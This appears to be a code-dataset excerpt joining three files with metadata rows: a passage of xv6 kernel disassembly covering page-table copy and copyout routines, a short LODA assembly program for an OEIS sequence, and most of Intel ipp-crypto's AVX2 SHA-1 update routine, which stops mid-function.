if(pgdir[i] & PTE_P){ char * v = p2v(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80109032: 8b 45 08 mov 0x8(%ebp),%eax 80109035: 89 04 24 mov %eax,(%esp) 80109038: e8 01 a3 ff ff call 8010333e <kfree> } 8010903d: c9 leave 8010903e: c3 ret 8010903f <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 8010903f: 55 push %ebp 80109040: 89 e5 mov %esp,%ebp 80109042: 83 ec 28 sub $0x28,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80109045: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 8010904c: 00 8010904d: 8b 45 0c mov 0xc(%ebp),%eax 80109050: 89 44 24 04 mov %eax,0x4(%esp) 80109054: 8b 45 08 mov 0x8(%ebp),%eax 80109057: 89 04 24 mov %eax,(%esp) 8010905a: e8 c0 f8 ff ff call 8010891f <walkpgdir> 8010905f: 89 45 f4 mov %eax,-0xc(%ebp) if(pte == 0) 80109062: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80109066: 75 0c jne 80109074 <clearpteu+0x35> panic("clearpteu"); 80109068: c7 04 24 60 99 10 80 movl $0x80109960,(%esp) 8010906f: e8 c9 74 ff ff call 8010053d <panic> *pte &= ~PTE_U; 80109074: 8b 45 f4 mov -0xc(%ebp),%eax 80109077: 8b 00 mov (%eax),%eax 80109079: 89 c2 mov %eax,%edx 8010907b: 83 e2 fb and $0xfffffffb,%edx 8010907e: 8b 45 f4 mov -0xc(%ebp),%eax 80109081: 89 10 mov %edx,(%eax) } 80109083: c9 leave 80109084: c3 ret 80109085 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80109085: 55 push %ebp 80109086: 89 e5 mov %esp,%ebp 80109088: 53 push %ebx 80109089: 83 ec 44 sub $0x44,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 8010908c: e8 b8 f9 ff ff call 80108a49 <setupkvm> 80109091: 89 45 f0 mov %eax,-0x10(%ebp) 80109094: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80109098: 75 0a jne 801090a4 <copyuvm+0x1f> return 0; 8010909a: b8 00 00 00 00 mov $0x0,%eax 8010909f: e9 fd 00 00 00 jmp 801091a1 <copyuvm+0x11c> for(i = 0; i < sz; i += PGSIZE){ 801090a4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801090ab: e9 cc 00 00 00 jmp 8010917c <copyuvm+0xf7> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 801090b0: 8b 45 f4 mov -0xc(%ebp),%eax 801090b3: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801090ba: 00 801090bb: 89 44 24 04 mov %eax,0x4(%esp) 801090bf: 8b 45 08 mov 0x8(%ebp),%eax 801090c2: 89 04 24 mov %eax,(%esp) 801090c5: e8 55 f8 ff ff call 8010891f <walkpgdir> 801090ca: 89 45 ec mov %eax,-0x14(%ebp) 801090cd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801090d1: 75 0c jne 801090df <copyuvm+0x5a> panic("copyuvm: pte should exist"); 801090d3: c7 04 24 6a 99 10 80 movl $0x8010996a,(%esp) 801090da: e8 5e 74 ff ff call 8010053d <panic> if(!(*pte & PTE_P)) 801090df: 8b 45 ec mov -0x14(%ebp),%eax 801090e2: 8b 00 mov (%eax),%eax 801090e4: 83 e0 01 and $0x1,%eax 801090e7: 85 c0 test %eax,%eax 801090e9: 75 0c jne 801090f7 <copyuvm+0x72> panic("copyuvm: page not present"); 801090eb: c7 04 24 84 99 10 80 movl $0x80109984,(%esp) 801090f2: e8 46 74 ff ff call 8010053d <panic> pa = PTE_ADDR(*pte); 801090f7: 8b 45 ec mov -0x14(%ebp),%eax 801090fa: 8b 00 mov (%eax),%eax 801090fc: 25 00 f0 ff ff and $0xfffff000,%eax 80109101: 89 45 e8 mov %eax,-0x18(%ebp) flags = PTE_FLAGS(*pte); 80109104: 8b 45 ec mov -0x14(%ebp),%eax 80109107: 8b 00 mov (%eax),%eax 80109109: 25 ff 0f 00 00 and $0xfff,%eax 8010910e: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80109111: e8 c1 a2 ff ff call 801033d7 <kalloc> 80109116: 89 45 e0 mov %eax,-0x20(%ebp) 80109119: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 8010911d: 74 6e je 8010918d <copyuvm+0x108> goto bad; memmove(mem, (char*)p2v(pa), PGSIZE); 8010911f: 8b 45 e8 mov -0x18(%ebp),%eax 80109122: 89 04 24 mov %eax,(%esp) 80109125: e8 72 f3 ff ff call 8010849c <p2v> 8010912a: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80109131: 00 80109132: 89 44 24 04 mov %eax,0x4(%esp) 80109136: 8b 45 e0 mov -0x20(%ebp),%eax 80109139: 89 04 24 mov %eax,(%esp) 8010913c: e8 8c cd ff ff call 80105ecd <memmove> if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) 80109141: 8b 5d e4 mov -0x1c(%ebp),%ebx 80109144: 8b 45 e0 mov -0x20(%ebp),%eax 80109147: 89 04 24 mov %eax,(%esp) 8010914a: e8 40 f3 ff ff call 8010848f <v2p> 8010914f: 8b 55 f4 mov -0xc(%ebp),%edx 80109152: 89 5c 24 10 mov %ebx,0x10(%esp) 80109156: 89 44 24 0c mov %eax,0xc(%esp) 8010915a: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80109161: 00 80109162: 89 54 24 04 mov %edx,0x4(%esp) 80109166: 8b 45 f0 mov -0x10(%ebp),%eax 80109169: 89 04 24 mov %eax,(%esp) 8010916c: e8 44 f8 ff ff call 801089b5 <mappages> 80109171: 85 c0 test %eax,%eax 80109173: 78 1b js 80109190 <copyuvm+0x10b> uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 80109175: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 8010917c: 8b 45 f4 mov -0xc(%ebp),%eax 8010917f: 3b 45 0c cmp 0xc(%ebp),%eax 80109182: 0f 82 28 ff ff ff jb 801090b0 <copyuvm+0x2b> goto bad; memmove(mem, (char*)p2v(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) goto bad; } return d; 80109188: 8b 45 f0 mov -0x10(%ebp),%eax 8010918b: eb 14 jmp 801091a1 <copyuvm+0x11c> if(!(*pte & PTE_P)) panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; 8010918d: 90 nop 8010918e: eb 01 jmp 80109191 <copyuvm+0x10c> memmove(mem, (char*)p2v(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) goto bad; 80109190: 90 nop } return d; bad: freevm(d); 80109191: 8b 45 f0 mov -0x10(%ebp),%eax 80109194: 89 04 24 mov %eax,(%esp) 80109197: e8 15 fe ff ff call 80108fb1 <freevm> return 0; 8010919c: b8 00 00 00 00 mov $0x0,%eax } 801091a1: 83 c4 44 add $0x44,%esp 801091a4: 5b pop %ebx 801091a5: 5d pop %ebp 801091a6: c3 ret 801091a7 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 801091a7: 55 push %ebp 801091a8: 89 e5 mov %esp,%ebp 801091aa: 83 ec 28 sub $0x28,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 801091ad: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801091b4: 00 801091b5: 8b 45 0c mov 0xc(%ebp),%eax 801091b8: 89 44 24 04 mov %eax,0x4(%esp) 801091bc: 8b 45 08 mov 0x8(%ebp),%eax 801091bf: 89 04 24 mov %eax,(%esp) 801091c2: e8 58 f7 ff ff call 8010891f <walkpgdir> 801091c7: 89 45 f4 mov %eax,-0xc(%ebp) if((*pte & PTE_P) == 0) 801091ca: 8b 45 f4 mov -0xc(%ebp),%eax 801091cd: 8b 00 mov (%eax),%eax 801091cf: 83 e0 01 and $0x1,%eax 801091d2: 85 c0 test %eax,%eax 801091d4: 75 07 jne 801091dd <uva2ka+0x36> return 0; 801091d6: b8 00 00 00 00 mov $0x0,%eax 801091db: eb 25 jmp 80109202 <uva2ka+0x5b> if((*pte & PTE_U) == 0) 801091dd: 8b 45 f4 mov -0xc(%ebp),%eax 801091e0: 8b 00 mov (%eax),%eax 801091e2: 83 e0 04 and $0x4,%eax 801091e5: 85 c0 test %eax,%eax 801091e7: 75 07 jne 801091f0 <uva2ka+0x49> return 0; 801091e9: b8 00 00 00 00 mov $0x0,%eax 801091ee: eb 12 jmp 80109202 <uva2ka+0x5b> return (char*)p2v(PTE_ADDR(*pte)); 801091f0: 8b 45 f4 mov -0xc(%ebp),%eax 801091f3: 8b 00 mov (%eax),%eax 801091f5: 25 00 f0 ff ff and $0xfffff000,%eax 801091fa: 89 04 24 mov %eax,(%esp) 801091fd: e8 9a f2 ff ff call 8010849c <p2v> } 80109202: c9 leave 80109203: c3 ret 80109204 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80109204: 55 push %ebp 80109205: 89 e5 mov %esp,%ebp 80109207: 83 ec 28 sub $0x28,%esp char *buf, *pa0; uint n, va0; buf = (char*)p; 8010920a: 8b 45 10 mov 0x10(%ebp),%eax 8010920d: 89 45 f4 mov %eax,-0xc(%ebp) while(len > 0){ 80109210: e9 8b 00 00 00 jmp 801092a0 <copyout+0x9c> va0 = (uint)PGROUNDDOWN(va); 80109215: 8b 45 0c mov 0xc(%ebp),%eax 80109218: 25 00 f0 ff ff and $0xfffff000,%eax 8010921d: 89 45 ec mov %eax,-0x14(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80109220: 8b 45 ec mov -0x14(%ebp),%eax 80109223: 89 44 24 04 mov %eax,0x4(%esp) 80109227: 8b 45 08 mov 0x8(%ebp),%eax 8010922a: 89 04 24 mov %eax,(%esp) 8010922d: e8 75 ff ff ff call 801091a7 <uva2ka> 80109232: 89 45 e8 mov %eax,-0x18(%ebp) if(pa0 == 0) 80109235: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80109239: 75 07 jne 80109242 <copyout+0x3e> return -1; 8010923b: b8 ff ff ff ff mov $0xffffffff,%eax 80109240: eb 6d jmp 801092af <copyout+0xab> n = PGSIZE - (va - va0); 80109242: 8b 45 0c mov 0xc(%ebp),%eax 80109245: 8b 55 ec mov -0x14(%ebp),%edx 80109248: 89 d1 mov %edx,%ecx 8010924a: 29 c1 sub %eax,%ecx 8010924c: 89 c8 mov %ecx,%eax 8010924e: 05 00 10 00 00 add $0x1000,%eax 80109253: 89 45 f0 mov %eax,-0x10(%ebp) if(n > len) 80109256: 8b 45 f0 mov -0x10(%ebp),%eax 80109259: 3b 45 14 cmp 0x14(%ebp),%eax 8010925c: 76 06 jbe 80109264 <copyout+0x60> n = len; 8010925e: 8b 45 14 mov 0x14(%ebp),%eax 80109261: 89 45 f0 mov %eax,-0x10(%ebp) memmove(pa0 + (va - va0), buf, n); 80109264: 8b 45 ec mov -0x14(%ebp),%eax 80109267: 8b 55 0c mov 0xc(%ebp),%edx 8010926a: 89 d1 mov %edx,%ecx 8010926c: 29 c1 sub %eax,%ecx 8010926e: 89 c8 mov %ecx,%eax 80109270: 03 45 e8 add -0x18(%ebp),%eax 80109273: 8b 55 f0 mov -0x10(%ebp),%edx 80109276: 89 54 24 08 mov %edx,0x8(%esp) 8010927a: 8b 55 f4 mov -0xc(%ebp),%edx 8010927d: 89 54 24 04 mov %edx,0x4(%esp) 80109281: 89 04 24 mov %eax,(%esp) 80109284: e8 44 cc ff ff call 80105ecd <memmove> len -= n; 80109289: 8b 45 f0 mov -0x10(%ebp),%eax 8010928c: 29 45 14 sub %eax,0x14(%ebp) buf += n; 8010928f: 8b 45 f0 mov -0x10(%ebp),%eax 80109292: 01 45 f4 add %eax,-0xc(%ebp) va = va0 + PGSIZE; 80109295: 8b 45 ec mov -0x14(%ebp),%eax 80109298: 05 00 10 00 00 add $0x1000,%eax 8010929d: 89 45 0c mov %eax,0xc(%ebp) { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 801092a0: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 801092a4: 0f 85 6b ff ff ff jne 80109215 <copyout+0x11> memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; } return 0; 801092aa: b8 00 00 00 00 mov $0x0,%eax } 801092af: c9 leave 801092b0: c3 ret
38.012938
162
0.540771
94308bc13d20e0efa4d6589cc2632cfaa6d94a09
413
asm
Assembly
programs/oeis/279/A279077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/279/A279077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/279/A279077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A279077: Maximum starting value of X such that repeated replacement of X with X-ceiling(X/7) requires n steps to reach 0. ; 0,1,2,3,4,5,6,8,10,12,15,18,22,26,31,37,44,52,61,72,85,100,117,137,160,187,219,256,299,349,408,477,557,650,759,886,1034,1207,1409,1644,1919,2239,2613,3049,3558,4152,4845,5653,6596,7696,8979,10476,12223,14261 lpb $0 sub $0,1 add $2,1 mov $1,$2 div $2,6 add $2,$1 lpe mov $0,$1
34.416667
209
0.694915
2036ae7dd8e81680d1e1b3c78b1a011070afe4cb
20,504
asm
Assembly
sources/ippcp/asm_intel64/pcpsha1l9as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
30
2017-07-26T20:03:19.000Z
2021-10-14T23:38:54.000Z
sources/ippcp/asm_intel64/pcpsha1l9as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
9
2018-09-25T18:32:42.000Z
2022-02-18T12:23:40.000Z
sources/ippcp/asm_intel64/pcpsha1l9as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
14
2017-08-31T19:53:23.000Z
2021-02-27T01:08:14.000Z
;=============================================================================== ; Copyright 2017-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Message block processing according to SHA1 ; ; Content: ; UpdateSHA1 ; ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_ENABLE_ALG_SHA1_) %if (_SHA_NI_ENABLING_ == _FEATURE_OFF_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_) %if (_IPP32E >= _IPP32E_L9 ) ;; ;; assignments ;; %xdefine hA eax ;; hash values into GPU registers %xdefine F ebp %xdefine hB ebx %xdefine hC ecx %xdefine hD edx %xdefine hE r8d %xdefine T1 r10d ;; SHA1 round computation (temporary) %xdefine T2 r11d %xdefine W00 ymm2 ;; W values into YMM registers %xdefine W04 ymm3 %xdefine W08 ymm4 %xdefine W12 ymm5 %xdefine W16 ymm6 %xdefine W20 ymm7 %xdefine W24 ymm8 %xdefine W28 ymm9 %xdefine W16L xmm6 %xdefine W20L xmm7 %xdefine W24L xmm8 %xdefine W28L xmm9 %xdefine WTMP1 ymm0 ;; msg schedulling computation (temporary) %xdefine WTMP2 ymm1 %xdefine WTMP3 ymm10 %xdefine YMM_SHUFB ymm11 ;; byte swap constant %xdefine YMM_K ymm12 ;; sha1 round constant value %xdefine F_PTR r13 ;; frame ptr/data block ptr ;;W_PTR textequ r12 ;; frame ptr/data block ptr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; textual rotation of W array ;; %macro ROTATE_W 0.nolist %xdefine W_minus_32 W_minus_28 %xdefine W_minus_28 W_minus_24 %xdefine W_minus_24 W_minus_20 %xdefine W_minus_20 W_minus_16 %xdefine W_minus_16 W_minus_12 %xdefine W_minus_12 W_minus_08 %xdefine W_minus_08 W_minus_04 %xdefine W_minus_04 W %xdefine W W_minus_32 %endmacro ;; ;; msg schedulling for initial 00-15 sha1 rounds: ;; - byte swap input ;; - add sha1 round constant %macro W_CALC_00_15 2.nolist %xdefine %%nr %1 %xdefine %%Wchunk %2 vpshufb W, %%Wchunk, YMM_SHUFB vpaddd %%Wchunk, W, YMM_K vmovdqa ymmword [F_PTR + (%%nr)*sizeof(dword)*2], %%Wchunk ROTATE_W %endmacro ;; ;; msg schedulling for other 16-79 sha1 rounds: ;; %macro W_CALC 1.nolist %xdefine %%rndw %1 %if (%%rndw < 32) %if ((%%rndw & 3) == 0) ;; scheduling to interleave with ALUs vpalignr W, W_minus_12, W_minus_16, 8 ;; w[t-14] vpsrldq WTMP1, W_minus_04, 4 ;; w[t-3] vpxor W, W, W_minus_16 vpxor WTMP1, WTMP1, W_minus_08 %elif ((%%rndw & 3) == 1) vpxor W, W, WTMP1 vpsrld WTMP1, W, 31 vpslldq WTMP2, W, 12 vpaddd W, W, W %elif ((%%rndw & 3) == 2) vpsrld WTMP3, WTMP2, 30 vpxor W, W, WTMP1 vpslld WTMP2, WTMP2, 2 vpxor W, W, WTMP3 %elif ((%%rndw & 3) == 3) vpxor W, W, WTMP2 ;;vpaddd WTMP1, W, ymmword [K_SHA1_PTR] vpaddd WTMP1, W, YMM_K vmovdqa ymmword [F_PTR+4*sizeof(ymmword)+((%%rndw & 15)/4)*sizeof(ymmword)],WTMP1 ROTATE_W %endif %elif (%%rndw < 80) %if ((%%rndw & 3) == 0) ;; scheduling to interleave with ALUs vpalignr WTMP1, W_minus_04, W_minus_08, 8 vpxor W, W, W_minus_28 ;; W == W_minus_32 %elif ((%%rndw & 3) == 1) vpxor W, W, W_minus_16 vpxor W, W, WTMP1 %elif ((%%rndw & 3) == 2) vpslld WTMP1, W, 2 vpsrld W, W, 30 %elif ((%%rndw & 3) == 3) vpxor W, WTMP1, W ;;vpaddd WTMP1, W, ymmword [K_SHA1_PTR] vpaddd WTMP1, W, YMM_K vmovdqa ymmword [F_PTR+4*sizeof(ymmword)+((%%rndw & 15)/4)*sizeof(ymmword)],WTMP1 ROTATE_W %endif %endif %endmacro ;; ;; update hash macro ;; %macro UPDATE_HASH 2.nolist %xdefine %%hashMem %1 %xdefine %%hash %2 add %%hash, %%hashMem mov %%hashMem, %%hash %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; textual rotation of HASH arguments ;; %macro ROTATE_H 0.nolist %xdefine %%_X hE %xdefine hE hD %xdefine hD hC %xdefine hC hB %xdefine hB F %xdefine F hA %xdefine hA %%_X %endmacro ;; ;; SHA1 rounds 0 - 19 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = (b&c) & (~b&d) already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; note: ;; %if nr==19 the f(b,c,d)=b^c^d precomputed ;; %macro SHA1_ROUND_00_19 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif %if (%%nr < 19) andn T1,hA,hC ;; ~hB&hC (next round) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) %if (%%nr < 19) and hA, hB ;; hB&hC (next round) %endif add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 19) xor hA, T1 ;; F() = (hB&hC)^(~hB&hC) (next round) %else xor hA, hB ;; F() = hB^hC^hD next round xor hA, hC %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 20 - 39 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = b^c^d already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; ;; note: ;; %if nr==39 the f(b,c,d)=(b^c)&(c^d) precomputed ;; %macro SHA1_ROUND_20_39 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 39) xor hA, hC ;; F() = hB^hC^hD (next round) %else mov T1, hB ;; hC^hD (next round) xor T1, hC ;; and hA, T1 ;; (hB^hC)&(hC^hD) %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 40 - 59 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = (b&c)^(c&d) already pre-computed (part of F()) for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; ;; F(b,c,d) = (b&c)^(b&d)^(c&d) ;; ;; note, using GF(2): arithmetic ;; F(b,c,d) = (b&c)^(b&d)^(c&d) ~ bc+bd+cd ;; =(b+c)(c+d) +c^2 = (b+c)(c+d) +c ;; ~ ((b^c)&(c^d)) ^c ;; direct substitution: ;; (b+c)(c+d) = bc + bd + c^2 + cd, but c^2 = c ;; %macro SHA1_ROUND_40_59 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif xor F, hC ;; F() = ((b^c)&(c^d)) ^c %if(%%nr < 59) mov T1, hB ;; hC^hD (next round) xor T1, hC ;; %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) add hE, T2 ;; hE += (hA<<<5) %if(%%nr < 59) and hA, T1 ;; (hB^hC)&(hC^hD) (next round) %else xor hA, hC ;; (hB^hC^hD) (next round) %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 60 - 79 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = b^c^d already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; %macro SHA1_ROUND_60_79 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 %if (%%nr < 79) rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) %endif add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 79) xor hA, hC ;; F() = hB^hC^hD (next round) %endif ROTATE_H %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; segment .text align=IPP_ALIGN_FACTOR align IPP_ALIGN_FACTOR SHA1_YMM_K dd 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h dd 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h dd 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch dd 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h SHA1_YMM_BF dd 00010203h,04050607h,08090a0bh,0c0d0e0fh dd 00010203h,04050607h,08090a0bh,0c0d0e0fh ;***************************************************************************************** ;* Purpose: Update internal digest according to message block ;* ;* void UpdateSHA1(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam) ;* ;***************************************************************************************** align IPP_ALIGN_FACTOR IPPASM UpdateSHA1,PUBLIC %assign LOCAL_FRAME (sizeof(dword)*80*2) USES_GPR rdi,rsi,rbp,rbx,r12,r13,r14,r15 USES_XMM_AVX xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12 COMP_ABI 4 ;; rdi = hash ptr ;; rsi = data block ptr ;; rdx = data length in bytes ;; rcx = dummy %xdefine MBS_SHA1 (64) mov r15, rsp ; store orifinal rsp and rsp, -IPP_ALIGN_FACTOR ; 32-byte aligned stack movsxd r14, edx ; input length in bytes vmovdqa YMM_SHUFB, [rel SHA1_YMM_BF] ; load byte shuffler mov hA, dword [rdi] ; load initial hash value mov F, dword [rdi+sizeof(dword)] mov hC, dword [rdi+2*sizeof(dword)] mov hD, dword [rdi+3*sizeof(dword)] mov hE, dword [rdi+4*sizeof(dword)] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; process next data 2 block ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; assignment: ;; - W00,...,W28 are fixed ;; - W_minus_04,...,W_minus_32 are rorarted ;; - W corresponds to W[t] ;; %xdefine W W00 %xdefine W_minus_04 W04 %xdefine W_minus_08 W08 %xdefine W_minus_12 W12 %xdefine W_minus_16 W16 %xdefine W_minus_20 W20 %xdefine W_minus_24 W24 %xdefine W_minus_28 W28 %xdefine W_minus_32 W align IPP_ALIGN_FACTOR .sha1_block2_loop: lea F_PTR, [rsi+MBS_SHA1] ; next block cmp r14, MBS_SHA1 ; %if single block processed cmovbe F_PTR, rsi ; use the same data block address ;; ;; load data block and merge next data block ;; vmovdqa YMM_K, [rel SHA1_YMM_K] ; pre-load sha1 constant vmovdqu W28L, xmmword [rsi] ; load data block vmovdqu W24L, xmmword [rsi+1*sizeof(xmmword)] vmovdqu W20L, xmmword [rsi+2*sizeof(xmmword)] vmovdqu W16L, xmmword [rsi+3*sizeof(xmmword)] vinserti128 W28, W28, xmmword [F_PTR], 1 ; merge next data block vinserti128 W24, W24, xmmword [F_PTR+1*sizeof(xmmword)], 1 vinserti128 W20, W20, xmmword [F_PTR+2*sizeof(xmmword)], 1 vinserti128 W16, W16, xmmword [F_PTR+3*sizeof(xmmword)], 1 mov F_PTR, rsp ;; set local data pointer W_CALC_00_15 0, W28 ;; msg scheduling for rounds 00 .. 15 W_CALC_00_15 4, W24 ;; W_CALC_00_15 8, W20 ;; msg scheduling for rounds 08 .. 15 W_CALC_00_15 12, W16 ;; rorx hB, F, 2 ;; pre-compute (b<<<30) next round andn T1,F, hD ;; pre-compute F1(F,hC,hD) = hB&hC ^(~hB&hD) and F, hC xor F, T1 W_CALC 16 ;; msg schedilling ahead 16 rounds SHA1_ROUND_00_19 0 ;; sha1 round W_CALC 17 SHA1_ROUND_00_19 1 W_CALC 18 SHA1_ROUND_00_19 2 W_CALC 19 SHA1_ROUND_00_19 3 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+sizeof(ymmword)] W_CALC 20 SHA1_ROUND_00_19 4 W_CALC 21 SHA1_ROUND_00_19 5 W_CALC 22 SHA1_ROUND_00_19 6 W_CALC 23 SHA1_ROUND_00_19 7 W_CALC 24 SHA1_ROUND_00_19 8 W_CALC 25 SHA1_ROUND_00_19 9 W_CALC 26 SHA1_ROUND_00_19 10 W_CALC 27 SHA1_ROUND_00_19 11 W_CALC 28 SHA1_ROUND_00_19 12 W_CALC 29 SHA1_ROUND_00_19 13 W_CALC 30 SHA1_ROUND_00_19 14 W_CALC 31 SHA1_ROUND_00_19 15 W_CALC 32 SHA1_ROUND_00_19 16 W_CALC 33 SHA1_ROUND_00_19 17 W_CALC 34 SHA1_ROUND_00_19 18 W_CALC 35 SHA1_ROUND_00_19 19 W_CALC 36 SHA1_ROUND_20_39 20 W_CALC 37 SHA1_ROUND_20_39 21 W_CALC 38 SHA1_ROUND_20_39 22 W_CALC 39 SHA1_ROUND_20_39 23 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+2*sizeof(ymmword)] W_CALC 40 SHA1_ROUND_20_39 24 W_CALC 41 SHA1_ROUND_20_39 25 W_CALC 42 SHA1_ROUND_20_39 26 W_CALC 43 SHA1_ROUND_20_39 27 W_CALC 44 SHA1_ROUND_20_39 28 W_CALC 45 SHA1_ROUND_20_39 29 W_CALC 46 